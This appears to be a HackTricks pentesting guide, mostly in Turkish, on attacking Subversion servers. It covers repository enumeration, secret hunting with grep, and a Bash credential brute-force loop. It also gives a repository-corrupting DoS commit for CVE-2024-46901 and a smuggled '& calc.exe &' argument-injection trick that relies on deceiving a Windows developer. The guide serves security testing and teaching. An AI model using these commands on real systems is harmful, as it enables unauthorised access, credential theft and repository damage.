3690/tcp - Pentesting Subversion (SVN) Server

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Subversion (SVN) merkezi bir sürüm kontrol sistemi (Apache lisansı) olup yazılım sürümlendirme ve revizyon kontrolü için kullanılır.

Varsayılan port: 3690/tcp (svnserve). Ayrıca mod_dav_svn aracılığıyla HTTP/HTTPS üzerinden ve svn+ssh ile de erişilebilir.

PORT     STATE SERVICE
3690/tcp open  svnserve Subversion
nc -vn 10.10.10.10 3690
svnserve --version           # if shell access is obtained
svn --version                # client version leak via error messages

Enumeration

# Anonymous / authenticated listing
svn ls svn://10.10.10.203                  # list root
svn ls -R svn://10.10.10.203/repo         # recursive list
svn info svn://10.10.10.203/repo          # repo metadata
svn log svn://10.10.10.203/repo           # commit history
svn checkout svn://10.10.10.203/repo      # checkout repository
svn up -r 2                               # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo   # view changes

# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''

# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo

Auth & Yanlış Yapılandırma Avı

  • svnserve.conf anon-access = read (veya hatta write) izin verebilir. Eğer listeleyebiliyorsanız, sırları, scriptleri ve CI tokens’ı dökmek için checkout yapmayı deneyin.
  • Depolar sıklıkla sürümlenmiş konfigürasyon dosyalarında build pipelines, deployment keys ve database credentials saklar. Checkout’tan sonra working copy üzerinde grep atın: grep -R "password\|secret\|token" -n ..
  • Eğer svn+ssh etkinse, kullanıcı shell’leri genellikle kısıtlı svnserve komutlarına izin verir; wrapper’ları atlatmak için hazırlanmış alt komutlarla ssh user@host svnserve -t yapmayı deneyin.

Bruteforcing credentials (svnserve)

sasl authentication (if enabled) ve basit parola dosyaları sadece taşıma tarafından korunur; varsayılan olarak kilitleme yoktur. Hızlı bir Bash döngüsü kimlik bilgilerini deneyebilir:

for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done

Yakın Zamandaki Zafiyetler (pratik etkiler)

mod_dav_svn DoS kontrol karakterleri aracılığıyla (CVE-2024-46901)

  • commit rights’e sahip bir kullanıcı, kontrol karakterleri (ör. \x01, \x7f) içeren bir yol yazabilir; bu, deponun bozulmasına neden olarak sonraki checkouts/logs işlemlerinin başarısız olmasına ve mod_dav_svn workers süreçlerinin çökmesine yol açabilir.
  • HTTP(S) (mod_dav_svn) üzerinden sunulduğunda Subversion ≤ 1.14.4 sürümlerini etkiler. 1.14.5’te düzeltildi.
  • PoC commit svnmucc ile (geçerli commit creds gerektirir):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
  • Commit’ten sonra, normal client’lar çökebilir veya yöneticiler svnadmin dump/filter/load ile revizyonu elle kaldırana kadar güncellemeleri reddedebilir.

Windows argument injection in svn client (CVE-2024-45720)

  • Windows’ta, svn.exe içindeki “best-fit” karakter kodlaması, özel olarak hazırlanmış ASCII olmayan yol/URL’leri işlerken command-line argument injection’a izin veriyor ve potansiyel olarak rastgele program çalıştırmaya yol açabiliyor.
  • Sadece Windows’ta Subversion ≤ 1.14.3’ü etkiler; 1.14.4’te düzeltildi. Saldırı yüzeyi: bir geliştiriciyi kandırıp saldırgan kontrollü bir URL/yol üzerinde svn çalıştırmasını sağlamak.
  • Pentest angle: eğer bir Windows geliştiricisine verilen bir ağ paylaşımını veya ZIP dosyasını kontrol ediyorsanız, depo URL’sini veya çalışma-kopyası yolunu best-fit byte’larının " & calc.exe & "-benzeri enjekte edilmiş argümanlara dönüşeceği şekilde adlandırın; sonra kurbanı o yolda svn status veya benzeri bir komut çalıştırmak için kandırın.

İstismar İş Akışı için Notlar

  1. Erişim yöntemini kontrol edin: svn:// (svnserve), http(s)://.../svn/ (mod_dav_svn), veya svn+ssh://.
  2. Önce anonim okuma deneyin; sonra yaygın creds’leri spray edin. Eğer HTTP Basic kullanılıyorsa, başka yerlerde bulunan creds’leri yeniden kullanın.
  3. Hooks’ları listeleyin: hooks/pre-commit, post-commit script’leri bazen düz metin creds veya host adları içerir.
  4. Leverage svn:externals ile diğer host’lardan ek yollar çekin; checkout’tan sonra bunları svn propget svn:externals -R . ile listeleyin.
  5. Version leaks: mod_dav_svn’den gelen HTTP yanıt başlıkları genellikle Subversion & Apache sürümünü gösterir; zafiyetli hedefleri tespit etmek için 1.14.5 ile karşılaştırın.
  6. Eğer repoya dosya sistemi erişimi elde ederseniz, svnadmin dump/svnlook author/svnlook dirs-changed kimlik bilgisi olmadan çevrimdışı analiz yapmanızı sağlar.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin